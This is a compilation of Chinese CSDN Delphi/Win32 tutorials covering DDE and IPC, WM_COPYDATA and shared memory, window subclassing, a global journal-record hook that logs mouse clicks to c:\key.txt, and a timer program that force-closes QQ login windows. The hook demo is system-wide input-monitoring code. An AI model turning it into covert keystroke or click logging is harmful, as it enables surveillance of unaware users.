    DDE是由Client端以WM_DDE_INITIATE广播讯息起拉开通话的序幕，Server端受理後以WM_DDE_ACK回应，连通後则是一连串Server与Client间彼此互送WM_DDE_DATA、WM_DDE_REQUEST、WM_DDE_ACK等讯息。实际的资料并不是真的经由讯息传递，而是提供线索彼此利用Atoms(由Windows系统提供的字串对照表)寻求Application(应用程式), Topic(主题)与Data(资料)等三个项目。最後，以WM_DDE_TERMINATE讯息结束对话。

    行程间建立DDE连接时，当Server端的资料改变时，依资料交换的频繁与Client的主动程度，其通道的形态可分为：

    Cold Link：来要才有；Client端得主动要求传送资料，如果没有来要，即使Server的资料已经改变很多了，Server对Client也置之不理。
Hot Link：有变就给；当资料改变时，Server端将主动通知Client改变的内容。
Warm Link：更新通知；当资料改变时，Server端只对Client端告知资料改变的消息，真正的资料要等Client提出要求才会送出。由於DDE讯息通讯牵涉的实作细节颇多，为了使用方便起见，微软也提供DDE管理函式库(The DDE Management Library, 简称 DDEML), 使用上的最大差别在於使用DDEML的程式是用Callback函数处理DDE交易(Transaction) 。另外，三大项目的Application改口叫做(Service name)服务。

    时至今日，讨论DDE的文献已不在少数，的确，DDE的使用应该是容易许多了，几乎没有一个Windows程式开发工具不提供一些元件或类别让程式员更方便制作DDE Server或Client程式。当然，如果你的需求只是在行程间通知某些消息，自行设计一套讯息通讯协定倒也简单得以完成任务，我想本文的第一个例子TwinApp是一个不错的提示。

    其他的IPC技术
    EXE通常呼叫DLL的输出函数(exports function)，某些情况下DLL也会使用EXE 事先预备的回呼(Callback)函数。函数呼叫这个观念与想法如果移植到行程通讯中会发生什麽事呢? 我的意思是说，让一个行程呼叫另一个行程的函数。Ya! 这就是所谓的 RPC，行程之间属於函数呼叫层级的合作。可以想见的，由於行程各有其定址空间，如同OLE，要达到 RPC确实需要额外标准的介面加以定义。

    有关IPC的技术与观念我们已经介绍得不少了，不论是讯息交换，剪贴簿，Shared memory，DDE，MailSlot，Pipe等等，几乎都是资料的交换或者Client与Server「要求-回应」，叁与通讯的行讯必须对於交换的资料有一定程度的了解与处理能力。换句话说，在我们以DDE向试算表软体要求传回资料後，这份资料到底代表什麽得自己解释；同样的，如果要传入资料到试算表软体，即使透过现成元件的帮忙，仍然必须对试算表软体有基本的认识。

    话说回来了，只有试算表自己最清楚资料代表什麽，不是吗？那麽，由它来处理资料应该才是适当的人选，强以外部程式去操作总有外行人指导内行人的遗憾。利用OLE技术将应用程式整合在一起工作确实是比较合理的作法，如果COM物件可以像电子IC一样安插进我们的程式与我们的程式一同工作，那这种我们称之为OLE Control(ActiveX)，距离拉大到网路上，DCOM这个名词你一定听说过.

    想想看，终於我们可以用甲公司的统计图表元件，然後用乙公司的元件将图表传真出去，这样窗景真是美好。窗子确实只提供局部的风景，但是加装了望远镜的窗子可是一个天文台，加了风铃的窗子所提供的就不只是风景了，还有悦耳的声音。

    不论是RPC或OLE，我想这都是属於本文应该讨论但肯定是来不及讨论的，这两个主题甚至以单篇文章来谈都不怎麽够用。事实上，有些地方(例如DDE这一节)我也没有提到技术方面的实作细节，碍於篇辐(这篇文章已经太长了) 日後我们会在本专栏继续以专文介绍RPC等主题。关於以Winsock作为IPC通讯机制这部分，本专栏的前一篇文章「走! 让我们上BBS聊天去」才刚说明过，在此就不再重覆了。

    应用IPC到你的程式中
   各项IPC的技术往往以各种方式组合在一起。例如本文提供的DemoSMem范例程式就同时用了ShareMem交换资料，同步机制则采用Mutex与Event。情况并不如想像中的复杂：既是行程通讯，那必然是两个以上行程之间的事，既是分开的，中间一定有介面存在，定义这个介面的具体内容就是所谓的协定，留意资料交换的位置与方式，需要协调避让的采用合适的同步控制加以处理。这些重点把握住了，应该心 就已经有数了。

    面对各式各样的技术时，如果你正考虑应用IPC到你的程式中，首先得正视自己的需求，不妨提出类似以下的问题问问自己，最好将之写下来

    是否真的需要跨行程处理，成效何在？技术实作的难易程度与所需付出的成本 资料的流向是单向或双向，需不需反馈(feedback)的控制查核这些工作只在单机完成，或者需要连上网路，范围只在公司内部区域网路或者是广域网路叁与通讯的行程最多与平均的数量是多少？只在一种作业环境，或者可能同时要满足不同的作业平台执行效能( performance)是不是关键需求.应用程式使用 GUI 介面或者 console mode 接下来开始比较各项IPC的特性，哪些是与你列出的需求相符合的，有没有哪些限制是你必须要排除而避免使用的，各项IPC经过与先前写下的需求交叉评比的结果，积分高的自然是脱颖而出。最後，事情如果能简单解决是最好，开发时程缩短成本自然降低，而且日後维护容易。


CSDN_文档中心_win32下的系统日志钩子示例程序(Delphi 版)

{
win9X,NT,w2k 中的系统日志钩子示例程序(Delphi 版)
-----------------------------------------------------
windows下的日志钩子是一种很有用的HOOK类型，他不需要动态链接库*.DLL，就能实现
系统级的事件监控,它只能监视两种硬件的事件，即鼠标，键盘的操作，而不能监视其它
消息，被记录的消息可以用日志回放钩子将它还原，下面这个程序用Delphi设计，没有
用delphi的控件，只用了win32 api，所以通用于Delphi的任何版本，当然你也可以用c
来实现,有看不懂的可以写信给我，这是第一版，可能有BUG,大家发现了通知我一下，欢
迎大家和我一起来讨论HOOK技术:
-----------------------------------------------------
First Created:njhhack 2001.6.14 (ver1.0)
电子信箱:njhhack@21cn.com
主页:hotsky.363.net
}
Program Journal;
//包含如下头文件
uses windows,messages,sysutils;
{$r *.res} //使用资源文件
//定义一个新的结构类型
type
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
lr:trect;
tem:TEVENTMSG;
end;
var
Win:TWin; //结构变量
HHJournalRecordProc:integer; //日志钩子句柄
//将字符串str写到文件c:\key.txt中
procedure SaveInfo(str:string);stdcall;
var
f:textfile;
fname:string;
begin
fname:='c:\key.txt';
assignfile(f,fname);
if fileexists(fname)=false then rewrite(f)
else append(f);
writeln(f,str);
closefile(f);
end;

//将信息写到屏幕
procedure writestr;
var
hdc:integer;
str:string;
begin
hdc:=getdc(win.hmain);
RoundRect(hdc,10,10,240,140,12,8);
with win.tem do
begin
str:=format('窗口句柄=%x',[hwnd]);
textout(hdc,30,24*1,pchar(str),length(str));
str:=format('鼠标位置=(%d,%d)',[paraml,paramh]);
textout(hdc,30,24*2,pchar(str),length(str));
str:=format('消息类型=%x',[message]);
textout(hdc,30,24*3,pchar(str),length(str));
str:=format('时间=%d',[time div 1000]);
textout(hdc,30,24*4,pchar(str),length(str));
end;
releasedc(win.hmain,hdc);
end;
//日志钩子的回调函数
function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
win.tem:=TEVENTMSG(PEVENTMSG(lParam)^);
if nCode>=0 then
begin
with win.tem do
begin
with win.lr do
begin
left:=10;
top:=10;
right:=240;
bottom:=140;
end;
InvalidateRect(win.hmain,@win.lr,false);
if message=wm_lbuttondown then
begin
SaveInfo(format('窗口句柄=%x,鼠标位置=(%d,%d),消息类型=WM_LBUTTONDOWN,时间=%d',[hwnd,paraml,paramh,time div 1000]));
end;
end;
end;
Result:=CallNextHookEx(HHJournalRecordProc,nCode,wParam,lParam); //调用下一个钩子
end;
//钩子设置和删除函数
procedure SetHook(fSet:boolean);
begin
if fSet=true then
begin
if HHJournalRecordProc=0 then HHJournalRecordProc:=SetWindowsHookEx(WH_JOURNALRECORD,@JournalRecordProc,hinstance,0);
end else
begin
if HHJournalRecordProc<>0 then UnhookWindowsHookEx(HHJournalRecordProc);
end;
end;
//主程序的回调函数
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_paint:writestr;
wm_destroy:begin SetHook(False);halt;end;
end;
end;
//主程序的执行函数
procedure run;stdcall;
begin
win.wClass.hInstance:= hInstance;
with win.wclass do
begin
hIcon:= LoadIcon(hInstance,'MAINICON');
hCursor:= LoadCursor(0,IDC_ARROW);
hbrBackground:= COLOR_BTNFACE+1;
Style:= CS_PARENTDC;
lpfnWndProc:= @WindowProc;
lpszClassName:='JournalRecordHook';
end;
RegisterClass(win.wClass);
win.hmain:=CreateWindow(win.wClass.lpszClassName,'系统日志钩子演示程序',WS_VISIBLE or WS_OVERLAPPEDWINDOW,10,10,260,180,0,0,hInstance,nil);
SetHook(true);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

begin
run; //开始运行主程序
end.


CSDN_文档中心_Win9x下程序间的数据传递

Win9x下程序间的数据传递

    大家知道在Window 9x中一个应用程序不能直接访问另一个程序的内存地址，因为WIN9x为每个运行中的进程提供了自己的虚拟空间，这起到了很好的保护作用，然而，它也使得两个程序间不能轻易的交换数据，但是这并不是说程序间就一定不能进行数据传送了，Win9x为我们提供了几个特殊的方法来实现这个目的，如通过Windows消息WM_CopyData 和存储影响文件等方法。
使用消息WM_CopyData传送需要传递的数据缓冲区的内存地址，前面讲过，我们不能从一个应用程序向另一个程序发送内存块的地址，因为一个虚拟存储空间中的地址在另一个地址空间中没有意义。但是WM_CopyData消息回在后台执行一些特殊操作之后在传递数据，因此我们能够在接受方得到正确的地址。该消息使用时需要传递正在发送消息的窗口的句柄，及一个指TCopyDataStruct结构的指针。该结构如下：
tagCOPYDATASTRUCT = packed record
dwData: DWORD;
//这是一个附加的32位参数；
cbData: DWORD;
//我们将要传递的数据缓冲区的大小；
lpData: Pointer;
//指向数据缓冲区的指针。
end;
TCopyDataStruct=tag COPYDATASTRUCT;
一个例子，SendData程序包含一个文本框，在它的OnChange事件中将文本框中的内容发送到GetData程序重并显示出来。
在SendCopyData程序里，文本框OnChange事件的处理函数如下：
procedure TForm1.InputEditChange(Sender: TObject);
var
cds: TCopyDataStruct;
ss: PChar;
targetHandle: THandle;
begin
cds.cbData:=Length(InputEdit.Text)＋1;
GetMem(ss,cds.cbData); //申请cbData大小的缓冲区，并把指针赋给ss;
strCopy(ss,Pchar(InputEdit.text));
cds.lpData:=ss; //设置缓冲区指针
targetHandle:=FindWindow(′TForm1′,′GetCopyData′); //用API函数获取″GetCopyData″窗口句柄
if targetHandle=0 then
begin
ShowMessage(′Don′'t find target window′);
exit;
end;
SendMessage(targetHandle,WM_COPYDATA,Handle,Integer((@cds)));//将cds结构指针发送个目标窗口；
//targetHandle使目标窗口句柄；
//Handle 发送消息的窗口句柄；
FreeMem(ss);
end;
在GetCopyData程序中，通过一个定制的消息处理程序接受wm_CopyData消息：
public
procedure GetCopyData(var msg: TWMCopyData); message WM_COPYDATA;
procedure TForm1.GetCopyData(var msg: TWMCopyData);
begin
with msg.CopyDataStruct^ do
begin
Form1.Edit1.Text:=PChar(lpdata);
end;
end;
其中TWMCopyData结构定义如下：
TWMCopyData = record
Msg: Cardinal;
From: HWND; //发送该消息的窗口的句柄
CopyDataStruct: PCopyDataStruct; //即SendCopyData程序中cds结构的指针
Result: Longint;
end;
除了用wm_CopyData消息传递数据外，Windows还提供了File_Mapping内存共享技术用于实现程序间数据共享。使用与上例窗口相似的两个程序来说明
在MapWrite程序中：
Private
HMapFile: Thanale;
MapFilePointer: Pointer;
procedure TForm1.FormCreate(Sender: TObject);
begin
//使用API函数来建立映象文件
hMapFile:=CreateFileMapping(
＄FFFFFFFF, //指定共享内存
nil,
Page_ReadWrite, //共享方式
0,
1000, //共享内存大小
′MyMappedFile′); //映象文件的名字
if hMapFile<>0 then //如果映象文件建立成功
//MapViewOfFile函数返回一个指向共享内存块的在该程序内存空间中有效的指针
MapFilePointer:=MapView OfFile(hMapFile,File－Map－All－Access,0,0,0)
else
ShowMessage(′Can′'t Create MapFile′);
if MapFilePointer=nil then
ShowMessage(′MapFilePointer=nil′);
end;
procedure TForm1.Edit1Change(Sender: TObject);
begin
StrCopy(PChar(MapFilePointer),PChar(Edit1.Text));//将文本框中的字符串copy到共享内存中
end;
在MapRead程序中使用API函数OpenFileMapping打开MapWrite程序中已建立的映象文件
procedure TForm1.FormCreate(Sender: TObject);
begin
hMapFile:=OpenFileMapping(FILE_MAP_READ,true,′MyMappedFile′); //取得′MyMappedFile′映象文件的句柄
if hMapFile<>0 then
MapFilePointer:=MapViewOfFile(hMapFile,File_Map_All_Access,0,0,0)
else
begin
ShowMessage(′Can not open Mapp File′);
Timer1.Enabled:=false;
end;
end;
//定时从共享内存中读取数据并显示出来
procedure TForm1.Timer1Timer(Sender: TObject);
var
ss: String;
begin
ss:=PChar(MapFilePointer);
Edit1.Text:=ss;
end;
当然最后我们要释放共享内存句柄
UnMapViewOfFile(MapFilePointer);
CloseHandle(hMapFile);
（西安 hszj）


CSDN_文档中心_WinAPI编程关闭QQ登录窗体

记得在上学的时候，自己一人买了台机器，可是，其他同学总会“抢”我的电脑上QQ聊天，于是自己编了个小程序，只要这个程序运行，则别的同学一打开QQ的登录如果“把鼠标放到登录窗体”的话，窗体自动关闭！其实这个功能用Delphi或者C++ Builder来实现是很简单的：以下我用Delphi原代码来说明。

在Delphi中新建一个Project1，在Form1上添加一个Timer,设置Interval为100ms,然后编写下面的代码即可：

procedure TForm1.Timer1Timer(Sender: TObject);
var
handle,hchild1,hchild2:THandle;
point:TPoint;
temp:array[0..255] of char;
begin

://取得当前鼠标的位置
GetCursorPos(point);
//取得当前鼠标所在窗体的句柄

handle:=WindowFromPoint(point);
GetClassName(handle,temp,256);
//#32770是对话框的类名，QQ窗体的类名就是#32770

if temp='#32770' then

begin

//为了确保是QQ登陆窗体，再检查有没有“登陆”和“注册向导”两个按扭
hchild1:=FindWindowEx(handle,0,'Button','登录');
hchild2:=FindWindowEx(handle,0,'Button','注册向导');
if (hchild1<>0) and (hchild2<>0) then
SendMessage(handle,WM_CLOSE,0,0);
end;
end;

呵呵！ 很简单吧！要注意的是，QQ窗体的“QQ用户登陆”这个标题是画上去的，不能简单的用FindWindow（窗体句柄，“QQ用户登陆”）来判断。


CSDN_文档中心_Window SubClassing另类运用（之二）

Window SubClassing另类运用（之二）

你大概已经熟悉通用对话框（打开/保存文件，选择字体/颜色，以及查找和替换）的使用，不过你是否了解如何调用“选择文件夹”对话框呢？如果答案是否的话，你可以先看看一个简单的例子，籍以做个热身。如果你自认为已经了解它的话，可以跳过下面这一段。

要调用“选择文件夹”对话框，和其他通用对话框所使用的方法非常类似：一个结构（BROWSEINFO）加一个函数（SHBrowseForFolder）即可。请看代码：

procedure TForm1.Button2Click(Sender: TObject);

var

  bi : BROWSEINFO;

  szDisplay : array[0..MAX_PATH] of char;

  pidl : PItemIDList;

  str : string;

begin

  with bi do begin

    hwndOwner := Handle;

    pidlRoot := nil;

    pszDisplayName := szDisplay;

    lpszTitle := 'Select a Directory';

    ulFlags := BIF_RETURNONLYFSDIRS or BIF_STATUSTEXT;

    lpfn := @BrowseCallback;

    lParam := 0;

  end;

  pidl := SHBrowseForFolder(bi);

  if pidl<>nil then begin

     SetLength(str, MAX_PATH);

     SHGetPathFromIDList(pidl, PChar(str));

     str := PChar(str);

     Caption := str;

     CoTaskMemFree(pidl);

  end;

end;

SHBrowseForFolder返回一个LPITEMIDLIST，你需要手动将它转换成一个实际的文件路径（除非你选择的是回收站和控制面板这样的虚拟路径）。最后还要用Shell API把获得的pidl释放。上述代码中，BrowseCallback是一个自己编写的回调函数，如果不想处理回调的话，可以将它设置为nil。我还是处理了这个函数，因为我需要它的一些功能，如下：

function BrowseCallback(AWnd:HWND; uMsg:UINT; lp, lpData:LPARAM):Integer; stdcall;

var

  strPath : string;

  pidl : PItemIDList;

begin

  case uMsg of

    BFFM_SELCHANGED:

      begin

        pidl := PItemIDList(lp);

        if pidl<>nil then begin

           SetLength(strPath, MAX_PATH);

           SHGetPathFromIDList(pidl, PChar(strPath));

           strPath := PChar(strPath);

           strPath := 'folder Selected: ' + strPath;

           SendMessage(AWnd, BFFM_SETSTATUSTEXT, 1, LongInt(PChar(strPath)));

        end;

      end;

  end;

  Result := 0;

end;

BrowseCallback函数可以接受一些通知消息，例如上面列出的BFFM_SELCHANGED，当用户在文件夹列表中选择了另外一个项目的时候就会触发，程序员可以用另外一些消息（如BFFM_SETSTATUSTEXT）更新对话框其他相应的部分。

对SHBrowseForFolder的介绍说这么多也就足够了。不过，我对于这样单调的界面并不满意。一个最直接的想法就是：希望在对话框中添加一个列表，其中列出一些常用的文件夹供用户选择，而不需要每次都在“庭院深深”的层次树中一次再一次的Click。这又是一个使用SubClass的好地方。还记得在本文的系列之一中我提到的吗？要使用SubClass技术，充分必要条件就是获得一个窗口的句柄。非常幸运，这里我们有很简单的办法能够得到这个句柄，因为对话框初始化成功后会向上述的回调函数发送BFFM_INITIALIZED通知，我们的SubClass工作就在这里完成。

在上述的BrowseCallback函数中添加如下的Message Dispatcher：

  case uMsg of

    BFFM_INITIALIZED:

      begin

        OldBrowseProc := TWindowProc(GetWindowLong(AWnd, GWL_WNDPROC));

        SetWindowLong(AWnd, GWL_WNDPROC, LongInt(@NewBrowseProc));

        AdjustDlg(AWnd);

end;

其中，OldBrowseProc是在implementation部分声明的变量：

var

  OldBrowseProc : TWindowProc = nil;

而NewBrowseProc和AdjustDlg都是自己编写的函数，它们都比较长，我将分段讲述它们的内容。

先来看AdjustDlg的工作。它的任务是向对话框中添加一个组合框（Combo Box），并且向其中添加几个项目。听起来很简单，不过有许多琐碎的工作必须要做。因为我们是在对系统定义的窗口进行SubClass，所以VCL在这里基本上帮不上什么忙：我们必须大量使用API。

procedure AdjustDlg(AWnd:HWND);

var

  wnd : HWND;

  wndCombo : HWND;

  rc : TRect;

  Found : Boolean;

  ClassName : array[0..80] of char;

  SaveRect : TRect;

  OldStyle : integer;

begin

  // Find the TreeView first

  wnd := GetWindow(AWnd, GW_CHILD);

  Found := False;

  while IsWindow(wnd) do begin

    GetClassName(wnd, ClassName, 80);

    if lstrcmpi(ClassName, 'SysTreeView32')=0 then begin

       Found := True;

       Break;

    end;

    wnd := GetWindow(wnd, GW_HWNDNEXT);

  end;

  if not Found then Exit;

为了能够让插入的ComboBox和其他窗口控件的布局协调一致，首先需要找到用来显示文件夹的TreeView窗口。我的计划是：让ComboBox占据TreeView原来的位置（当然它的高度要比TreeView小得多），然后，包括TreeView在内的其他窗口依次下移。下面是实现代码：

  // Add combo Box and move other controls down

  GetWindowRect(wnd, rc);

  ScreenToClient(AWnd, rc.TopLeft);

  ScreenToClient(AWnd, rc.BottomRight);

  wndCombo := CreateWindow('COMBOBOX', '',

                         WS_CHILD or WS_VISIBLE or CBS_DROPDOWNLIST or CBS_OWNERDRAWFIXED or CBS_HASSTRINGS,

                         rc.Left, rc.Top,

                         rc.Right-rc.Left, rc.Bottom-rc.Top,

                         AWnd, HMENU(IDC_COMBO),

                         HInstance, nil);

  SendMessage(wndCombo, WM_SETFONT,

              SendMessage(AWnd, WM_GETFONT, 0, 0),

              1);

  OldStyle := GetWindowLong(wnd, GWL_STYLE);

  SetWindowLong(wnd, GWL_STYLE, OldStyle or TVS_SHOWSELALWAYS);

  SaveRect := rc;

  wnd := GetWindow(AWnd, GW_CHILD);

  while IsWindow(wnd) do begin

    GetWindowRect(wnd, rc);

    ScreenToClient(AWnd, rc.TopLeft);

    ScreenToClient(AWnd, rc.BottomRight);

    if (wnd<>wndCombo) and (rc.Top>=SaveRect.Top) then

       SetWindowPos(wnd, HWND_NOTOPMOST, rc.Left, rc.Top+40, 0, 0, SWP_NOSIZE or SWP_NOZORDER);

    wnd := GetWindow(wnd, GW_HWNDNEXT);

  end;

  GetWindowRect(AWnd, rc);

  SetWindowPos(AWnd, HWND_NOTOPMOST, 0, 0, rc.Right-rc.Left, rc.Bottom-rc.Top+40, SWP_NOMOVE or SWP_NOZORDER);

如果你过去很少用API写程序，那么这些代码可能让你看得有点头晕。基本上上述程序完成如下的工作：

（1）计算TreeView在窗口中的位置；

（2）建立ComboBox窗口，并基于TreeView的位置将它放置到合理的地方；

（3）将ComboBox的字体设置为和整个窗体的字体相同（这一步是必要的，否则显示的效果会很难看）；

（4）为TreeView的窗口风格添加TVS_SHOWSELALWAYS位，从而在焦点移动到ComboBox的时候，仍然可以明显的观察到TreeView中究竟选中了哪个项目；

（5）将窗口中的其他控件依次下移，从而为ComboBox腾出必要的空间；

（6）将窗口本身的高度也略微放大，从而适应添加ComboBox以后的大小。

下一步就是向ComboBox中增加一些表项，否则的话它就是一个鸡肋。我决定添加两种项目：（1）系统中的某些特殊路径，这些路径可以通过SHGetSpecialFolderLocation获得；（2）通常的文件路径。为了让代码简洁一些，我增加了一个辅助函数：

  procedure InsertComboItem(hCombo:HWND; const Text:string; data:DWORD);

  var

    nIndex : integer;

  begin

    nIndex := SendMessage(hCombo, CB_ADDSTRING, 0, LongInt(PChar(Text)));

    SendMessage(hCombo, CB_SETITEMDATA, nIndex, data);

  end;

然后在AdjustDlg函数的末尾添加如下的代码：

  InsertComboItem(wndCombo, '', CSIDL_DESKTOP);

  InsertComboItem(wndCombo, '', CSIDL_FAVORITES);

  InsertComboItem(wndCombo, '', CSIDL_STARTMENU);

  InsertComboItem(wndCombo, '', CSIDL_DRIVES);

  InsertComboItem(wndCombo, 'c:\', 555);

  InsertComboItem(wndCombo, 'd:\winnt', 555);

  InsertComboItem(wndCombo, 'c:\windows\system', 555);

这里用555并没有什么特别的意义。我本来想用0来标志普通文件夹，但后来发现CSIDL_DESKTOP正是定义为0，所以必须用其他数字来区分。555是我信手写的，你当然可以用别的数字，只要注意不要和预定义的CSIDL常量冲突即可。

AdjustDlg函数的内容就这么多。接下来是NewBrowseProc函数的内容，它的基本结构如下：

function NewBrowseProc(AWnd:HWND; uMsg:UINT; wp:WPARAM; lp:LPARAM):LongInt; stdcall;

begin

  Result := 0;

case uMsg of

…

  end;

  if Assigned(OldBrowseProc) then

    Result := OldBrowseProc(AWnd, uMsg, wp, lp);

end;

在NewBrowseProc中必须处理几条消息。第一个就是用户在ComboBox中选择一项的时候，在TreeView中必须同步跳转到同样的文件夹：

    case uMsg of

WM_COMMAND:

      if HiWord(wp)=CBN_SELCHANGE then begin

         hCombo := GetDlgItem(AWnd, IDC_COMBO);

         index := SendMessage(hCombo, CB_GETCURSEL, 0, 0);

         if index=CB_ERR then Exit;

         csidl := SendMessage(hCombo, CB_GETITEMDATA, index, 0);

         if csidl<>555 then begin // csidl

            SHGetSpecialFolderLocation(AWnd, csidl, pidl);

            SendMessage(AWnd, BFFM_SETSELECTION, 0, LongInt(pidl));

            CoTaskMemFree(pidl);

         end

         else begin // normal Folder

           SetLength(str, MAX_PATH);

           SendMessage(hCombo, CB_GETLBTEXT, index, LongInt(PChar(str)));

           str := PChar(str);

           SendMessage(AWnd, BFFM_SETSELECTION, 1, LongInt(PChar(str)));

         end;

end;

由于我们添加的ComboBox是一个自绘风格（Owner-Draw）的列表，所以我们还必须处理WM_MEASUREITEM和WM_DRAWITEM消息。WM_MEASUREITEM的处理相对简单，因为对于ComboBox来说项目的宽度无所谓（它自动由ComboBox本身的宽度来决定），我们只需要设置它的高度即可。为了简化起见，我用了硬编码的方法，当然基于系统设置进行仔细的计算也是可行的（而且完全应该）：

    WM_MEASUREITEM:

      begin

        pmis := PMEASUREITEMSTRUCT(lp);

        if pmis^.CtlType=ODT_COMBOBOX then

           pmis^.itemHeight := 20;

end;

其中pmis声明为一个PMEASUREITEMSTRUCT结构指针。

WM_DRAWITEM的处理要复杂的多。因为对于系统级的文件夹，必须从System ImageList中获得它的图标，而且还要从LPITEMIDLIST取得文件夹的名称（不一定是文件路径：比如，c:\windows\desktop在Shell中的名称是“桌面”）。为此我添加了几个辅助函数，用来简化WM_DRAWITEM的处理：

function GetNameFromPIDL(pidl:PItemIDList) : string;

var

  sfi : SHFILEINFO;

begin

  SHGetFileInfo(PChar(pidl), 0, sfi, sizeof(sfi), SHGFI_DISPLAYNAME or SHGFI_PIDL);

  Result := StrPas(sfi.szDisplayName);

end;

function GetPathFromPIDL(pidl:PItemIDList) : string;

var

  str : string;

begin

  SetLength(str, MAX_PATH);

  SHGetPathFromIDList(pidl, PChar(str));

  str := PChar(str);

  Result := str;

end;

procedure GetSmallIconFromPIDL(pidl:PItemIDList; var iml:HIMAGELIST; var index:integer);

var

  sfi : SHFILEINFO;

begin

  iml := SHGetFileInfo(PChar(pidl), 0, sfi, sizeof(sfi), SHGFI_SYSICONINDEX or SHGFI_SMALLICON or SHGFI_PIDL);

  index := sfi.iIcon;

end;

procedure GetSmallIconFromPath(const Path:string; var iml:HIMAGELIST; var index:integer);

var

  sfi : SHFILEINFO;

begin

  iml := SHGetFileInfo(PChar(Path), 0, sfi, sizeof(sfi), SHGFI_SYSICONINDEX or SHGFI_SMALLICON);

  index := sfi.iIcon;

end;

处理项目绘制的代码其实从原理上来讲非常简单，但是比较琐碎，必须大量调用SendMessage和Shell API接口函数，还包括GDI对象的管理。我不打算仔细解释下面这些代码；这些代码的效果就是在ComboBox中为每一个项目前面添加一个代表其文件夹的图标。

    WM_DRAWITEM:

      begin

        pdis := PDRAWITEMSTRUCT(lp);

        if pdis^.CtlType=ODT_COMBOBOX then begin

           hCombo := pdis^.hwndItem;

           if pdis^.itemID=$ffffffff then Exit;

           csidl := DWORD(SendMessage(hCombo, CB_GETITEMDATA, pdis^.itemID, 0));

if (pdis^.itemState and ODS_SELECTED)=ODS_SELECTED then begin

              FillRect(pdis^.hDC, pdis^.rcItem, GetSysColorBrush(COLOR_HIGHLIGHT));

              SetTextColor(pdis^.hDC, GetsysColor(COLOR_HIGHLIGHTTEXT));

           end

           else begin

              FillRect(pdis^.hDC, pdis^.rcItem, GetSysColorBrush(COLOR_WINDOW));

              SetTextColor(pdis^.hDC, GetSysColor(COLOR_WINDOWTEXT));

           end;

           SetBkMode(pdis^.hDC, TRANSPARENT);

           if csidl<>555 then begin  // csidl

              SHGetSpecialFolderLocation(AWnd, csidl, pidl);

              str := GetNameFromPIDL(pidl);

              GetSmallIconFromPIDL(pidl, himl, iImage);

              ImageList_Draw(himl, iImage, pdis^.hDC, pdis^.rcItem.Left+2, pdis^.rcItem.Top+2, ILD_TRANSPARENT);

              Inc(pdis^.rcItem.Left, 20);

              DrawText(pdis^.hdc, PChar(str), -1, pdis^.rcItem, DT_SINGLELINE or DT_LEFT or DT_VCENTER);

              CoTaskMemFree(pidl);

           end

           else begin // normal path

              SetLength(str, MAX_PATH);

              SendMessage(hCombo, CB_GETLBTEXT, pdis^.itemID, LongInt(PChar(str)));

              str := PChar(str);

              GetSmallIconFromPath(str, himl, iImage);

              ImageList_Draw(himl, iImage, pdis^.hDC, pdis^.rcItem.Left+2, pdis^.rcItem.Top+2, ILD_TRANSPARENT);

              Inc(pdis^.rcItem.Left, 20);

              DrawText(pdis^.hDC, PChar(str), -1, pdis^.rcItem, DT_SINGLELINE or DT_LEFT or DT_VCENTER);

           end;

        end;

end;


CSDN_文档中心_Window SubClassing之另类运用（之一）

Window SubClassing之另类运用（之一）

所谓Window SubClassing，中文通常译为窗口子类化，简单说来就是截获并处理窗口过程的技术。可能很多程序员都已经了解这项技术，并且或多或少在自己的程序中使用过它。在微软的MFC类库中就大量使用了Window SubClassing方法，以至于有人说“MFC is about Subclassing”。即使你没有用过，至少你也应该听说过它。所谓另类，有不循常理、不拘一格的意思。我在这里将要描述都可以说是一些“旁门左道”的应用，不过或许能够让你有耳目一新的感觉。

我的第一个应用是所谓“延时自动关闭的对话框”。Windows中用来显示信息的MessageBox函数非常简单方便，但是它有一个致命的缺陷，就是除非用户按下某个按钮，否则整个程序的执行都会挂起。这对于无人值守的自动化程序来说是无论如何都不能接受的。如果是在比较依赖于时序的应用程序中（例如多线程程序或者基于定时器的应用），MessageBox还可能严重干扰整个程序的执行流程。为了解决这个问题，自己定义一个新的、能够自动关闭的对话框当然是最直观的做法，但是我发现这也是应用SubClass的一个好地方，因为我们并不需要在UI上花什么功夫，唯一需要做的就是为对话框增加一条WM_TIMER的消息和对应的处理程序就行了。

想法虽然简单，实现起来却有一点小小的麻烦。首先指出一点：要实现SubClass，唯一的充分必要条件是我们需要获得某个特定窗口的句柄。就是这个简单的要求，对于MessageBox来说却很棘手，因为它是一个模态对话框，窗口在调用MessageBox之后才建立，而在MessageBox返回的时候就已经撤销了。我们如何获得这个窗口呢？

这里的关键在于，在调用MessageBox的同时，系统将把应用程序的主线程挂起，在MessageBox返回后才把控制权交还，所以我们没有获得这个窗口的机会。既然知道了症结所在，解决方案也就来了：主线程虽然挂起了，但是我可以使用子线程，看你能奈我何？

方法已经找到，接下来的实现可以说是势如破竹了。首先，声明必须的类型和变量：

type

TWindowProc = function(AWnd:HWND; uMsg:UINT; wp:WPARAM; lp:LPARAM) : LongInt; stdcall;

var

OldProc : TWindowProc = nil;

既然是SubClass，我们免不了要自己写一个窗口过程。唯一需要处理的就是WM_TIMER 消息，在收到这个消息的时候关闭对话框即可：

function NewProc(AWnd:HWND; uMsg:UINT; wp:WPARAM; lp:LPARAM):LongInt;stdcall;

begin

Result := 0;

case uMsg of

WM_TIMER:

begin

KillTimer(AWnd, 1);

PostMessage(AWnd, WM_COMMAND, IDCANCEL, 0);

end;

end;

if Assigned(OldProc) then

Result := OldProc(AWnd, uMsg, wp, lp);

end;

然后需要生成一个线程对象，并修改它的执行方法如下：

procedure TMsgThread.Execute;

var

wnd, wndDesktop : HWND;

ClassName : array[0..80] of char;

begin

WaitForInputIdle(GetCurrentProcess(), INFINITE);

wndDesktop := GetDesktopWindow();

wnd := GetWindow(wndDesktop, GW_CHILD);

while IsWindow(wnd) do begin

GetClassName(wnd, ClassName, 80);

if (lstrcmpi(ClassName, '#32770')=0)

and (GetParent(wnd)=Application.MainForm.Handle) then begin

OldProc := TWindowProc(GetWindowLong(wnd, GWL_WNDPROC));

SetWindowLong(wnd, GWL_WNDPROC, LongInt(@NewProc));

SetTimer(wnd, 1, 3000, nil);

Break;

end;

wnd := GetWindow(wnd, GW_HWNDNEXT);

end;

end;

